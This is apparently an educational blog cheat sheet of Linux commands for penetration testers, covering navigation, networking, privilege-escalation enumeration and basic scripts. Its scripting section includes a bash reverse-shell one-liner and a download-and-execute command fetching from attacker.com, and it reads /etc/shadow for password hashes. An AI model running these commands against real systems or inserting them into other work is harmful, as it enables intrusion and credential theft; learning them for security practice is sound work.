Cyber Defence
Command Reference

Linux Commands for Hackers

Essential Commands Every Cybersecurity Professional Must Know

By Amit Kumar|February 18, 2026|15 min read

File System Navigation

# Basic Navigation
pwd              # Current directory
ls -la           # List all files (including hidden)
cd /path         # Change directory
cd ..            # Go up one directory
cd ~             # Go to home directory

# File Operations
cat file.txt     # View file contents
head -n 20 file  # First 20 lines
tail -n 50 file  # Last 50 lines
grep "pattern" file  # Search in file
find / -name "*.txt"  # Find files
locate filename  # Quick file search

# File Permissions
chmod 755 file   # rwxr-xr-x
chmod +x script.sh  # Make executable
chown user:group file  # Change ownership

Networking Commands

# Network Configuration
ifconfig / ip addr     # Show IP addresses
ifconfig eth0 192.168.1.10  # Set IP
netstat -tulpn        # Show listening ports
ss -tulpn            # Socket statistics

# Packet Capture
tcpdump -i eth0 port 80  # Capture HTTP traffic
tcpdump -i eth0 -w capture.pcap  # Save to file
ngrep -d eth0 "pattern"  # Search packets

# DNS
nslookup target.com
dig target.com ANY
host target.com

# Connections
nc -lvnp 4444      # Start netcat listener
nc target.com 4444 # Connect to target
curl http://target.com  # HTTP request
wget http://target.com/file  # Download file

Privilege Escalation

# Information Gathering
uname -a           # Kernel version
cat /etc/issue      # OS version
cat /etc/passwd    # Users
cat /etc/shadow     # Password hashes (if readable!)
sudo -l            # Sudo permissions

# Find SUID Binaries
find / -perm -4000 -type f 2>/dev/null
find / -uid 0 -perm -4000 -type f 2>/dev/null

# Writable Files
find / -writable -type f 2>/dev/null
find / -perm -222 -type d 2>/dev/null

# Cron Jobs
crontab -l
ls -la /etc/cron.d/
cat /var/log/cron.log

# Exploitation
./LinEnum.sh        # Automated enumeration
python -c 'import os; os.system("/bin/bash")'
sudo su -

Scripting Basics

#!/bin/bash
# Port scanner script
for port in 21 22 80 443 3306 8080; do
  timeout 1 bash -c "echo >/dev/tcp/$1/$port" && echo "Port $port open"
done

# Quick enumeration script
echo "=== System Info ===" > recon.txt
uname -a >> recon.txt
cat /etc/issue >> recon.txt
echo "=== Network ===" >> recon.txt
ifconfig >> recon.txt
netstat -tulpn >> recon.txt

# Reverse shell one-liner
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Download and execute
wget http://attacker.com/tool.sh -O /tmp/tool.sh
chmod +x /tmp/tool.sh && /tmp/tool.sh

Frequently Asked Questions

Why is Linux important for hackers?

Linux is the preferred OS for hackers because: Most security tools (Nmap, Metasploit, Burp Suite) are built for Linux, complete control over system and network, command-line efficiency for fast operations, scripting capabilities for automation, and most servers run Linux. Kali Linux and Parrot OS come pre-loaded with hundreds of hacking tools.

What Linux commands are essential for penetration testing?

Essential categories: File navigation (ls, cd, find), File operations (cat, grep, awk), Networking (ifconfig, netstat, nslookup), Process management (ps, kill, top), User management (useradd, chmod, sudo), Text editing (vim, nano), Archive (tar, gzip), and port scanning (netcat, nmap). Master these basics before learning security-specific tools.

How do I practice Linux for hacking?

Practice options: Install Kali Linux in VM, use TryHackMe and HackTheBox for hands-on practice, set up a home lab with vulnerable VMs (Metasploitable, DVWA), complete OverTheWire Wargames, and practice on vulnerable distributions like Vulnhub. Start with basic commands, then progress to scripting and tool usage.

What are the best Linux distributions for hacking?

Top distributions: Kali Linux (all-around best, 600+ tools), Parrot Security (lighter, similar tools), ArchStrike (rolling release), BlackArch (large tool collection), and Tails (amnesiac, privacy-focused). For beginners, Kali Linux is recommended. Parrot is better for privacy-focused work.

How do I escalate privileges using Linux commands?

Privilege escalation techniques: Check for SUID binaries (find / -perm -u=s -type f), sudo misconfigurations (sudo -l), kernel exploits (uname -a), sensitive files (cat /etc/passwd, /etc/shadow readable?), Cron jobs (ls -la /var/spool/cron/), and Sudo tokens (python -c 'import os; os.system("/bin/bash")'). Always enumerate thoroughly before attempting PE.

Master Linux for Cybersecurity with Cyber Defence

Learn Linux from basics to advanced hacking techniques.

View Course